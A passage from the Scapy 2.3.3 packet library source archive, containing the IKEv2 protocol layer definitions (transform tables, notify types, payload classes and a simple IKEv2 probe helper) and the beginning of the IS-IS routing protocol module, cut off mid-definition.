# IP Rule 4 ip.options=[IPOption_Router_Alert()] # IP rule 5 return retCode bind_layers(IP, IGMPv3, frag=0, proto=2, ttl=1, tos=0xc0) bind_layers(IGMPv3, IGMPv3gr) bind_layers(IGMPv3gr, IGMPv3gr) scapy-2.3.3/scapy/contrib/ikev2.py000066400000000000000000000434741300136037300170170ustar00rootroot00000000000000#!/usr/bin/env python # http://trac.secdev.org/scapy/ticket/353 # scapy.contrib.description = IKEv2 # scapy.contrib.status = loads import logging import struct ## Modified from the original ISAKMP code by Yaron Sheffer , June 2010. from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import IP,UDP from scapy.layers.isakmp import ISAKMP from scapy.sendrecv import sr # see http://www.iana.org/assignments/ikev2-parameters for details IKEv2AttributeTypes= { "Encryption": (1, { "DES-IV64" : 1, "DES" : 2, "3DES" : 3, "RC5" : 4, "IDEA" : 5, "CAST" : 6, "Blowfish" : 7, "3IDEA" : 8, "DES-IV32" : 9, "AES-CBC" : 12, "AES-CTR" : 13, "AES-CCM-8" : 14, "AES-CCM-12" : 15, "AES-CCM-16" : 16, "AES-GCM-8ICV" : 18, "AES-GCM-12ICV" : 19, "AES-GCM-16ICV" : 20, "Camellia-CBC" : 23, "Camellia-CTR" : 24, "Camellia-CCM-8ICV" : 25, "Camellia-CCM-12ICV" : 26, "Camellia-CCM-16ICV" : 27, }, 0), "PRF": (2, {"PRF_HMAC_MD5":1, "PRF_HMAC_SHA1":2, "PRF_HMAC_TIGER":3, "PRF_AES128_XCBC":4, "PRF_HMAC_SHA2_256":5, "PRF_HMAC_SHA2_384":6, "PRF_HMAC_SHA2_512":7, "PRF_AES128_CMAC":8, }, 0), "Integrity": (3, { "HMAC-MD5-96": 1, "HMAC-SHA1-96": 2, "DES-MAC": 3, "KPDK-MD5": 4, "AES-XCBC-96": 5, "HMAC-MD5-128": 6, "HMAC-SHA1-160": 7, "AES-CMAC-96": 8, "AES-128-GMAC": 9, "AES-192-GMAC": 10, "AES-256-GMAC": 11, "SHA2-256-128": 12, "SHA2-384-192": 13, "SHA2-512-256": 14, }, 0), "GroupDesc": (4, { "768MODPgr" : 1, "1024MODPgr" : 2, "1536MODPgr" : 5, "2048MODPgr" : 14, "3072MODPgr" : 15, "4096MODPgr" : 16, "6144MODPgr" : 17, "8192MODPgr" : 18, "256randECPgr" : 19, "384randECPgr" : 20, "521randECPgr" : 21, "1024MODP160POSgr" : 22, "2048MODP224POSgr" : 23, "2048MODP256POSgr" : 24, "192randECPgr" : 25, "224randECPgr" : 26, }, 0), "Extended Sequence Number": (5, {"No ESN": 0, "ESN": 1, }, 0), } IKEv2NotifyMessageTypes = { 1 : "UNSUPPORTED_CRITICAL_PAYLOAD", 4 : "INVALID_IKE_SPI", 5 : "INVALID_MAJOR_VERSION", 7 : "INVALID_SYNTAX", 9 : "INVALID_MESSAGE_ID", 11 : "INVALID_SPI", 14 : "NO_PROPOSAL_CHOSEN", 17 : "INVALID_KE_PAYLOAD", 24 : "AUTHENTICATION_FAILED", 34 : "SINGLE_PAIR_REQUIRED", 35 : "NO_ADDITIONAL_SAS", 36 : "INTERNAL_ADDRESS_FAILURE", 37 : "FAILED_CP_REQUIRED", 38 : "TS_UNACCEPTABLE", 39 : "INVALID_SELECTORS", 40 : "UNACCEPTABLE_ADDRESSES", 41 : "UNEXPECTED_NAT_DETECTED", 42 : "USE_ASSIGNED_HoA", 43 : "TEMPORARY_FAILURE", 44 : "CHILD_SA_NOT_FOUND", 45 : "INVALID_GROUP_ID", 46 : "AUTHORIZATION_FAILED", 16384 : "INITIAL_CONTACT", 16385 : "SET_WINDOW_SIZE", 16386 : "ADDITIONAL_TS_POSSIBLE", 16387 : "IPCOMP_SUPPORTED", 16388 : "NAT_DETECTION_SOURCE_IP", 16389 : "NAT_DETECTION_DESTINATION_IP", 16390 : "COOKIE", 16391 : "USE_TRANSPORT_MODE", 16392 : "HTTP_CERT_LOOKUP_SUPPORTED", 16393 : "REKEY_SA", 16394 : "ESP_TFC_PADDING_NOT_SUPPORTED", 16395 : "NON_FIRST_FRAGMENTS_ALSO", 16396 : "MOBIKE_SUPPORTED", 16397 : "ADDITIONAL_IP4_ADDRESS", 16398 : "ADDITIONAL_IP6_ADDRESS", 16399 : "NO_ADDITIONAL_ADDRESSES", 16400 : "UPDATE_SA_ADDRESSES", 16401 : "COOKIE2", 16402 : "NO_NATS_ALLOWED", 16403 : "AUTH_LIFETIME", 16404 : "MULTIPLE_AUTH_SUPPORTED", 16405 : "ANOTHER_AUTH_FOLLOWS", 16406 : "REDIRECT_SUPPORTED", 16407 : "REDIRECT", 16408 : "REDIRECTED_FROM", 16409 : "TICKET_LT_OPAQUE", 16410 : "TICKET_REQUEST", 16411 : "TICKET_ACK", 16412 : "TICKET_NACK", 16413 : "TICKET_OPAQUE", 16414 : "LINK_ID", 16415 : "USE_WESP_MODE", 16416 : "ROHC_SUPPORTED", 16417 : "EAP_ONLY_AUTHENTICATION", 16418 : "CHILDLESS_IKEV2_SUPPORTED", 16419 : "QUICK_CRASH_DETECTION", 16420 : "IKEV2_MESSAGE_ID_SYNC_SUPPORTED", 16421 : "IPSEC_REPLAY_COUNTER_SYNC_SUPPORTED", 16422 : "IKEV2_MESSAGE_ID_SYNC", 16423 : "IPSEC_REPLAY_COUNTER_SYNC", 16424 : "SECURE_PASSWORD_METHODS", 16425 : "PSK_PERSIST", 16426 : "PSK_CONFIRM", 16427 : "ERX_SUPPORTED", 16428 : "IFOM_CAPABILITY", 16429 : "SENDER_REQUEST_ID", 16430 : "IKEV2_FRAGMENTATION_SUPPORTED", 16431 : "SIGNATURE_HASH_ALGORITHMS", 16432 : "CLONE_IKE_SA_SUPPORTED", 16433 : "CLONE_IKE_SA" } IKEv2CertificateEncodings = { 1 : "PKCS #7 wrapped X.509 certificate", 2 : "PGP Certificate", 3 : "DNS Signed Key", 4 : "X.509 Certificate - Signature", 6 : "Kerberos Token", 7 : "Certificate Revocation List (CRL)", 8 : "Authority Revocation List (ARL)", 9 : "SPKI Certificate", 10 : "X.509 Certificate - Attribute", 11 : "Raw RSA Key", 12 : "Hash and URL of X.509 certificate", 13 : "Hash and URL of X.509 bundle" } # the name 'IKEv2TransformTypes' is actually a misnomer (since the table # holds info for all IKEv2 Attribute types, not just transforms, but we'll # keep it for backwards compatibility... for now at least IKEv2TransformTypes = IKEv2AttributeTypes IKEv2TransformNum = {} for n in IKEv2TransformTypes: val = IKEv2TransformTypes[n] tmp = {} for e in val[1]: tmp[val[1][e]] = e IKEv2TransformNum[val[0]] = tmp IKEv2Transforms = {} for n in IKEv2TransformTypes: IKEv2Transforms[IKEv2TransformTypes[n][0]]=n del(n) del(e) del(tmp) del(val) # Note: Transform and Proposal can only be used inside the SA payload IKEv2_payload_type = ["None", "", "Proposal", "Transform"] IKEv2_payload_type.extend([""] * 29) IKEv2_payload_type.extend(["SA","KE","IDi","IDr", "CERT","CERTREQ","AUTH","Nonce","Notify","Delete", "VendorID","TSi","TSr","Encrypted","CP","EAP"]) IKEv2_exchange_type = [""] * 34 IKEv2_exchange_type.extend(["IKE_SA_INIT","IKE_AUTH","CREATE_CHILD_SA", "INFORMATIONAL", "IKE_SESSION_RESUME"]) class IKEv2_class(Packet): def guess_payload_class(self, payload): np = self.next_payload logging.debug("For IKEv2_class np=%d" % np) if np == 0: return conf.raw_layer elif np < len(IKEv2_payload_type): pt = IKEv2_payload_type[np] logging.debug(globals().get("IKEv2_payload_%s" % pt, IKEv2_payload)) return globals().get("IKEv2_payload_%s" % pt, IKEv2_payload) else: return IKEv2_payload class IKEv2(IKEv2_class): # rfc4306 name = "IKEv2" fields_desc = [ StrFixedLenField("init_SPI","",8), StrFixedLenField("resp_SPI","",8), ByteEnumField("next_payload",0,IKEv2_payload_type), XByteField("version",0x20), # IKEv2, right? ByteEnumField("exch_type",0,IKEv2_exchange_type), FlagsField("flags",0, 8, ["res0","res1","res2","Initiator","Version","Response","res6","res7"]), IntField("id",0), IntField("length",None) ] def guess_payload_class(self, payload): if self.flags & 1: return conf.raw_layer return IKEv2_class.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, IKEv2): if other.init_SPI == self.init_SPI: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24]+struct.pack("!I",len(p))+p[28:] return p class IKEv2_Key_Length_Attribute(IntField): # We only support the fixed-length Key Length attribute (the only one currently defined) def __init__(self, name): IntField.__init__(self, name, 0x800E0000) def i2h(self, pkt, x): return IntField.i2h(self, pkt, x & 0xFFFF) def h2i(self, pkt, x): return IntField.h2i(self, pkt, x if x !=None else 0 | 0x800E0000) class IKEv2_payload_Transform(IKEv2_class): name = "IKE Transform" fields_desc = [ ByteEnumField("next_payload",None,{0:"last", 3:"Transform"}), ByteField("res",0), ShortField("length",8), ByteEnumField("transform_type",None,IKEv2Transforms), ByteField("res2",0), MultiEnumField("transform_id",None,IKEv2TransformNum,depends_on=lambda pkt:pkt.transform_type,fmt="H"), ConditionalField(IKEv2_Key_Length_Attribute("key_length"), lambda pkt: pkt.length > 8), ] class IKEv2_payload_Proposal(IKEv2_class): name = "IKEv2 Proposal" fields_desc = [ ByteEnumField("next_payload",None,{0:"last", 2:"Proposal"}), ByteField("res",0), FieldLenField("length",None,"trans","H", adjust=lambda pkt,x:x+8), ByteField("proposal",1), ByteEnumField("proto",1,{1:"IKEv2"}), FieldLenField("SPIsize",None,"SPI","B"), ByteField("trans_nb",None), StrLenField("SPI","",length_from=lambda x:x.SPIsize), PacketLenField("trans",conf.raw_layer(),IKEv2_payload_Transform,length_from=lambda x:x.length-8), ] class IKEv2_payload(IKEv2_class): name = "IKEv2 Payload" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), FlagsField("flags",0, 8, ["critical","res1","res2","res3","res4","res5","res6","res7"]), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class IKEv2_payload_VendorID(IKEv2_class): name = "IKEv2 Vendor ID" overload_fields = { IKEv2: { "next_payload":43 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4), StrLenField("vendorID","",length_from=lambda x:x.length-4), ] class IKEv2_payload_Delete(IKEv2_class): name = "IKEv2 Vendor ID" overload_fields = { IKEv2: { "next_payload":42 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4), StrLenField("vendorID","",length_from=lambda x:x.length-4), ] class IKEv2_payload_SA(IKEv2_class): name = "IKEv2 SA" overload_fields = { IKEv2: { "next_payload":33 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"prop","H", adjust=lambda pkt,x:x+4), PacketLenField("prop",conf.raw_layer(),IKEv2_payload_Proposal,length_from=lambda x:x.length-4), ] class IKEv2_payload_Nonce(IKEv2_class): name = "IKEv2 Nonce" overload_fields = { IKEv2: { "next_payload":40 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class IKEv2_payload_Notify(IKEv2_class): name = "IKEv2 Notify" overload_fields = { IKEv2: { "next_payload":41 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+8), ByteEnumField("proto",None,{0:"Reserved",1:"IKE",2:"AH", 3:"ESP"}), FieldLenField("SPIsize",None,"SPI","B"), ShortEnumField("type",0,IKEv2NotifyMessageTypes), StrLenField("SPI","",length_from=lambda x:x.SPIsize), StrLenField("load","",length_from=lambda x:x.length-8), ] class IKEv2_payload_KE(IKEv2_class): name = "IKEv2 Key Exchange" overload_fields = { IKEv2: { "next_payload":34 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+8), ShortEnumField("group", 0, IKEv2TransformTypes['GroupDesc'][1]), ShortField("res2", 0), StrLenField("load","",length_from=lambda x:x.length-8), ] class IKEv2_payload_IDi(IKEv2_class): name = "IKEv2 Identification - Initiator" overload_fields = { IKEv2: { "next_payload":35 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8), ByteEnumField("IDtype",1,{1:"IPv4_addr", 2:"FQDN", 3:"Email_addr", 5:"IPv6_addr", 11:"Key"}), ByteEnumField("ProtoID",0,{0:"Unused"}), ShortEnumField("Port",0,{0:"Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load","",length_from=lambda x:x.length-8), ] class IKEv2_payload_IDr(IKEv2_class): name = "IKEv2 Identification - Responder" overload_fields = { IKEv2: { "next_payload":36 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8), ByteEnumField("IDtype",1,{1:"IPv4_addr", 2:"FQDN", 3:"Email_addr", 5:"IPv6_addr", 11:"Key"}), ByteEnumField("ProtoID",0,{0:"Unused"}), ShortEnumField("Port",0,{0:"Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load","",length_from=lambda x:x.length-8), ] class IKEv2_payload_Encrypted(IKEv2_class): name = "IKEv2 Encrypted and Authenticated" overload_fields = { IKEv2: { "next_payload":46 }} fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class IKEv2_payload_CERTREQ(IKEv2_class): name = "IKEv2 Certificate Request" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"cert_data","H",adjust=lambda pkt,x:x+5), ByteEnumField("cert_type",0,IKEv2CertificateEncodings), StrLenField("cert_data","",length_from=lambda x:x.length-5), ] class IKEv2_payload_CERT(IKEv2_class): name = "IKEv2 Certificate" fields_desc = [ ByteEnumField("next_payload",None,IKEv2_payload_type), ByteField("res",0), FieldLenField("length",None,"cert_data","H",adjust=lambda pkt,x:x+5), ByteEnumField("cert_type",0,IKEv2CertificateEncodings), StrLenField("cert_data","",length_from=lambda x:x.length-5), ] IKEv2_payload_type_overload = {} for i, payloadname in enumerate(IKEv2_payload_type): name = "IKEv2_payload_%s" % payloadname if name in globals(): IKEv2_payload_type_overload[globals()[name]] = {"next_payload": i} del i, payloadname, name IKEv2_class._overload_fields = IKEv2_payload_type_overload.copy() split_layers(UDP, ISAKMP, sport=500) split_layers(UDP, ISAKMP, dport=500) bind_layers( UDP, IKEv2, dport=500, sport=500) # TODO: distinguish IKEv1/IKEv2 bind_layers( UDP, IKEv2, dport=4500, sport=4500) def ikev2scan(ip): return sr(IP(dst=ip)/UDP()/IKEv2(init_SPI=RandString(8), exch_type=34)/IKEv2_payload_SA(prop=IKEv2_payload_Proposal())) # conf.debug_dissector = 1 if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="IKEv2 alpha-level protocol implementation") scapy-2.3.3/scapy/contrib/isis.py000066400000000000000000000621701300136037300167400ustar00rootroot00000000000000# scapy.contrib.description = ISIS # scapy.contrib.status = loads """ IS-IS Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :copyright: 2014, 2015 BENOCS GmbH, Berlin (Germany) :author: Marcel Patzlaff, mpatzlaff@benocs.com :license: GPLv2 This module is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This module is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :description: This module provides Scapy layers for the Intermediate System to Intermediate System routing protocol as defined in RFC 1195. Currently it (partially) supports the packaging/encoding requirements of the following RFCs: * RFC 1195 (only the TCP/IP related part) * RFC 3358 (optional checksums) * RFC 5301 (dynamic hostname extension) * RFC 5302 (domain-wide prefix destribution) * RFC 5303 (three-way handshake) * RFC 5304 (cryptographic authentication) * RFC 5308 (routing IPv6 with IS-IS) :TODO: - packet relations (requests, responses) - support for recent RFCs: * RFC 5305 (traffic engineering) * RFC 5307 (support for G-MPLS) * RFC 5310 (generic cryptographic authentication) * RFC 5316 (inter-AS MPLS and G-MPLS TE) """ import struct import random from scapy.config import conf from scapy.fields import * from scapy.packet import * from scapy.layers.clns import network_layer_protocol_ids, register_cln_protocol from scapy.layers.inet6 import IP6ListField EXT_VERSION = "v0.0.1" conf.debug_dissector = True ####################################################################### ## ISIS Utilities + Fields ## ####################################################################### def isis_area2str(area): return "".join(x.decode("hex") for x in area.split(".")) def isis_str2area(s): if len(s) == 0: return "" numbytes = len(s[1:]) fmt = "%02X" + (".%02X%02X" * (numbytes / 2)) + ("" if (numbytes % 2) == 0 else ".%02X") return fmt % tuple(map(ord, s)) def isis_sysid2str(sysid): return "".join(x.decode("hex") for x in sysid.split(".")) def isis_str2sysid(s): return ("%02X%02X."*3)[:-1] % tuple(map(ord, s)) def isis_nodeid2str(nodeid): return "%s%s" % (isis_sysid2str(nodeid[:-3]), nodeid[-2:].decode("hex")) def isis_str2nodeid(s): return "%s.%02X" % (isis_str2sysid(s[:-1]), ord(s[-1])) def isis_lspid2str(lspid): return "%s%s" % (isis_nodeid2str(lspid[:-3]), lspid[-2:].decode("hex")) def isis_str2lspid(s): return "%s-%02X" % (isis_str2nodeid(s[:-1]), ord(s[-1])) class _ISIS_IdFieldBase(Field): __slots__ = ["to_str", "to_id", "length"] def __init__(self, name, default, length, to_str, to_id): self.to_str = to_str self.to_id = to_id self.length = length Field.__init__(self, name, default, "%is" % length) def i2m(self, pkt, x): if x is None: return "\0"*self.length return self.to_str(x) def m2i(self, pkt, x): return self.to_id(x) def any2i(self, pkt, x): if type(x) is str and len(x) == self.length: return self.m2i(pkt, x) return x class _ISIS_RandId(RandString): def __init__(self, template): self.bytecount = template.count("*") self.format = template.replace("*", "%02X") def _fix(self): if self.bytecount == 0: return "" val = () for _ in xrange(self.bytecount): val += (RandByte(),) return self.format % val class _ISIS_RandAreaId(_ISIS_RandId): def __init__(self, bytecount= None): self.bytecount = random.randint(1, 13) if bytecount is None else bytecount self.format = "%02X" + (".%02X%02X" * ((self.bytecount-1) / 2)) + ("" if ((self.bytecount-1) % 2) == 0 else ".%02X") class ISIS_AreaIdField(Field): __slots__ = ["length_from"] def __init__(self, name, default, length_from): Field.__init__(self, name, default) self.length_from = length_from def i2m(self, pkt, x): return isis_area2str(x) def m2i(self, pkt, x): return isis_str2area(x) def i2len(self, pkt, x): if x is None: return 0 l = len(x) # l/5 is the number of dots in the Area ID return (l - (l / 5)) / 2 def addfield(self, pkt, s, val): sval = self.i2m(pkt, val) return s+struct.pack("!%is" % len(sval), sval) def getfield(self, pkt, s): numbytes = self.length_from(pkt) return s[numbytes:], self.m2i(pkt, struct.unpack("!%is" % numbytes, s[:numbytes])[0]) def randval(self): return _ISIS_RandAreaId() class ISIS_SystemIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 6, isis_sysid2str, isis_str2sysid) def randval(self): return _ISIS_RandId("**.**.**") class ISIS_NodeIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 7, isis_nodeid2str, isis_str2nodeid) def randval(self): return _ISIS_RandId("**.**.**.*") class ISIS_LspIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 8, isis_lspid2str, isis_str2lspid) def randval(self): return _ISIS_RandId("**.**.**.*-*") class ISIS_CircuitTypeField(FlagsField): def __init__(self, name="circuittype", default=2, size=8, names=None): FlagsField.__init__(self, name, default, size, names) if names is None: names = ["L1", "L2", "r0", "r1", "r2", "r3", "r4", "r5"] ####################################################################### ## ISIS TLVs ## ####################################################################### _isis_tlv_classes = { 1: "ISIS_AreaTlv", 2: "ISIS_IsReachabilityTlv", 6: "ISIS_IsNeighbourTlv", 8: "ISIS_PaddingTlv", 9: "ISIS_LspEntryTlv", 10: "ISIS_AuthenticationTlv", 12: "ISIS_ChecksumTlv", 14: "ISIS_BufferSizeTlv", 22: "ISIS_ExtendedIsReachabilityTlv", 128: "ISIS_InternalIpReachabilityTlv", 129: "ISIS_ProtocolsSupportedTlv", 130: "ISIS_ExternalIpReachabilityTlv", 132: "ISIS_IpInterfaceAddressTlv", 135: "ISIS_ExtendedIpReachabilityTlv", 137: "ISIS_DynamicHostnameTlv", 232: "ISIS_Ipv6InterfaceAddressTlv", 236: "ISIS_Ipv6ReachabilityTlv", 240: "ISIS_P2PAdjacencyStateTlv" } _isis_tlv_names = { 1: "Area TLV", 2: "IS Reachability TLV", 6: "IS Neighbour TLV", 7: "Instance Identifier TLV", 8: "Padding TLV", 9: "LSP Entries TLV", 10: "Authentication TLV", 12: "Optional Checksum TLV", 13: "Purge Originator Identification TLV", 14: "LSP Buffer Size TLV", 22: "Extended IS-Reachability TLV", 23: "IS Neighbour Attribute TLV", 24: "IS Alias ID", 128: "IP Internal Reachability TLV", 129: "Protocols Supported TLV", 130: "IP External Reachability TLV", 131: "Inter-Domain Routing Protocol Information TLV", 132: "IP Interface Address TLV", 134: "Traffic Engineering Router ID TLV", 135: "Extended IP Reachability TLV", 137: "Dynamic Hostname TLV", 138: "GMPLS Shared Risk Link Group TLV", 139: "IPv6 Shared Risk Link Group TLV", 140: "IPv6 Traffic Engineering Router ID TLV", 141: "Inter-AS Reachability Information TLV", 142: "Group Address TLV", 143: "Multi-Topology-Aware Port Capability TLV", 144: "Multi-Topology Capability TLV", 145: "TRILL Neighbour TLV", 147: "MAC-Reachability TLV", 148: "BFD-Enabled TLV", 211: "Restart TLV", 222: "Multi-Topology Intermediate Systems TLV", 223: "Multi-Topology IS Neighbour Attributes TLV", 229: "Multi-Topology TLV", 232: "IPv6 Interface Address TLV", 233: "IPv6 Global Interface Address TLV", 235: "Multi-Topology IPv4 Reachability TLV", 236: "IPv6 Reachability TLV", 237: "Multi-Topology IPv6 Reachability TLV", 240: "Point-to-Point Three-Way Adjacency TLV", 242: "IS-IS Router Capability TLV", 251: "Generic Information TLV" } def _ISIS_GuessTlvClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: tlvtype = struct.unpack("!B", p[0])[0] clsname = _isis_tlv_classes.get(tlvtype, "ISIS_GenericTlv") cls = globals()[clsname] return cls(p, **kargs) class ISIS_GenericTlv(Packet): name = "ISIS Generic TLV" fields_desc = [ByteEnumField("type", 0, _isis_tlv_names), FieldLenField("len", None, length_of="val", fmt="B"), BoundStrLenField("val", "", length_from=lambda pkt: pkt.len)] def guess_payload_class(self, p): return conf.padding_layer class ISIS_AreaEntry(Packet): name = "ISIS Area Entry" fields_desc = [FieldLenField("arealen", None, length_of="areaid", fmt="B"), ISIS_AreaIdField("areaid", "49", length_from=lambda pkt: pkt.arealen)] def extract_padding(self, s): return "", s class ISIS_AreaTlv(ISIS_GenericTlv): name = "ISIS Area TLV" fields_desc = [ByteEnumField("type", 1, _isis_tlv_names), FieldLenField("len", None, length_of= "areas", fmt="B"), PacketListField("areas", [], ISIS_AreaEntry, length_from=lambda x: x.len)] class ISIS_AuthenticationTlv(ISIS_GenericTlv): name = "ISIS Authentication TLV" fields_desc = [ByteEnumField("type", 10, _isis_tlv_names), FieldLenField("len", None, length_of= "password", adjust=lambda pkt,x: x + 1, fmt="B"), ByteEnumField("authtype", 1, {1: "Plain", 17: "HMAC-MD5"}), BoundStrLenField("password", "", maxlen= 254, length_from=lambda pkt: pkt.len - 1)] class ISIS_BufferSizeTlv(ISIS_GenericTlv): name = "ISIS Buffer Size TLV" fields_desc = [ByteEnumField("type", 14, _isis_tlv_names), ByteField("len", 2), ShortField("lspbuffersize", 1497)] class ISIS_ChecksumTlv(ISIS_GenericTlv): name = "ISIS Optional Checksum TLV" fields_desc = [ByteEnumField("type", 12, _isis_tlv_names), ByteField("len", 2), XShortField("checksum", None)] class ISIS_DynamicHostnameTlv(ISIS_GenericTlv): name = "ISIS Dynamic Hostname TLV" fields_desc = [ByteEnumField("type", 137, _isis_tlv_names), FieldLenField("len", None, length_of= "hostname", fmt="B"), BoundStrLenField("hostname", "", length_from=lambda pkt: pkt.len)] class ISIS_GenericSubTlv(Packet): name = "ISIS Generic Sub-TLV" fields_desc = [ByteField("type", 0), FieldLenField("len", None, length_of="val", fmt="B"), BoundStrLenField("val", "", length_from=lambda pkt: pkt.len)] def guess_payload_class(self, p): return conf.padding_layer def _isis_guess_subtlv_cls(p, **kargs): return ISIS_GenericSubTlv(p, **kargs) class ISIS_ExtendedIpPrefix(Packet): name = "ISIS Extended IP Prefix" fields_desc = [ IntField("metric", 1), BitField("updown", 0, 1), BitField("subtlvindicator", 0, 1), BitFieldLenField("pfxlen", None, 6, length_of="pfx"), IPPrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen), ConditionalField(FieldLenField("subtlvslen", None, length_of=lambda x: x.subtlvs, fmt= "B"), lambda pkt: pkt.subtlvindicator == 1), ConditionalField(PacketListField("subtlvs", [], _isis_guess_subtlv_cls, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1) ] def extract_padding(self, s): return "", s class ISIS_ExtendedIpReachabilityTlv(ISIS_GenericTlv): name = "ISIS Extended IP Reachability TLV" fields_desc = [ByteEnumField("type", 135, _isis_tlv_names), FieldLenField("len", None, length_of="pfxs", fmt="B"), PacketListField("pfxs", [], ISIS_ExtendedIpPrefix, length_from= lambda pkt: pkt.len)] class ISIS_ExtendedIsNeighbourEntry(Packet): name = "ISIS Extended IS Neighbour Entry" fields_desc = [ISIS_NodeIdField("neighbourid", "0102.0304.0506.07"), ThreeBytesField("metric", 1), FieldLenField("subtlvslen", None, length_of="subtlvs", fmt= "B"), ConditionalField(PacketListField("subtlvs", [], _isis_guess_subtlv_cls, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvslen > 0)] def extract_padding(self, s): return "", s class ISIS_ExtendedIsReachabilityTlv(ISIS_GenericTlv): name = "ISIS Extended IS Reachability TLV" fields_desc = [ByteEnumField("type", 22, _isis_tlv_names), FieldLenField("len", None, length_of="neighbours", fmt="B"), PacketListField("neighbours", [], ISIS_ExtendedIsNeighbourEntry, length_from=lambda x: x.len)] class ISIS_IpInterfaceAddressTlv(ISIS_GenericTlv): name = "ISIS IP Interface Address TLV" fields_desc = [ByteEnumField("type", 132, _isis_tlv_names), FieldLenField("len", None, length_of= "addresses", fmt="B"), FieldListField("addresses", [], IPField("", "0.0.0.0"), count_from= lambda pkt: pkt.len / 4)] class ISIS_Ipv6InterfaceAddressTlv(ISIS_GenericTlv): name = "ISIS IPv6 Interface Address TLV" fields_desc = [ ByteEnumField("type", 232, _isis_tlv_names), FieldLenField("len", None, length_of="addresses", fmt="B"), IP6ListField("addresses", [], count_from=lambda pkt: pkt.len / 16) ] class ISIS_Ipv6Prefix(Packet): name = "ISIS IPv6 Prefix" fields_desc = [ IntField("metric", 1), BitField("updown", 0, 1), BitField("external", 0, 1), BitField("subtlvindicator", 0, 1), BitField("reserved", 0, 5), FieldLenField("pfxlen", None, length_of="pfx", fmt="B"), IP6PrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen), ConditionalField(FieldLenField("subtlvslen", None, length_of=lambda x: x.subtlvs, fmt= "B"), lambda pkt: pkt.subtlvindicator == 1), ConditionalField(PacketListField("subtlvs", [], _isis_guess_subtlv_cls, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1) ] def extract_padding(self, s): return "", s class ISIS_Ipv6ReachabilityTlv(ISIS_GenericTlv): name= "ISIS IPv6 Reachability TLV" fields_desc = [ByteEnumField("type", 236, _isis_tlv_names), FieldLenField("len", None, length_of= "pfxs", fmt="B"), PacketListField("pfxs", [], ISIS_Ipv6Prefix, length_from= lambda pkt: pkt.len)] class ISIS_IsNeighbourTlv(ISIS_GenericTlv): name = "ISIS IS Neighbour TLV" fields_desc = [ByteEnumField("type", 6, _isis_tlv_names), FieldLenField("len", None, length_of= "neighbours", fmt="B"), FieldListField("neighbours", [], MACField("", "00.00.00.00.00.00"), count_from= lambda pkt: pkt.len / 6)] class ISIS_LspEntry(Packet): name = "ISIS LSP Entry" fields_desc = [ShortField("lifetime", 1200), ISIS_LspIdField("lspid", "0102.0304.0506.07-08"), XIntField("seqnum", 0x00000001), XShortField("checksum", None)] def extract_padding(self, s): return "", s class ISIS_LspEntryTlv(ISIS_GenericTlv): name = "ISIS LSP Entry TLV" fields_desc = [ ByteEnumField("type", 9, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_LspEntry, count_from=lambda pkt: pkt.len / 16) ] class _AdjacencyStateTlvLenField(Field): def i2m(self, pkt, x): if pkt.neighbourextlocalcircuitid is not None: return 15 if pkt.neighboursystemid is not None: return 11 if pkt.extlocalcircuitid is not None: return 5 return 1 class ISIS_P2PAdjacencyStateTlv(ISIS_GenericTlv): name = "ISIS P2P Adjacency State TLV" fields_desc = [ByteEnumField("type", 240, _isis_tlv_names), _AdjacencyStateTlvLenField("len", None, fmt="B"), ByteEnumField("state", "Down", {0x2 : "Down", 0x1 : "Initialising", 0x0 : "Up"}), ConditionalField(IntField("extlocalcircuitid", None), lambda pkt: pkt.len >= 5), 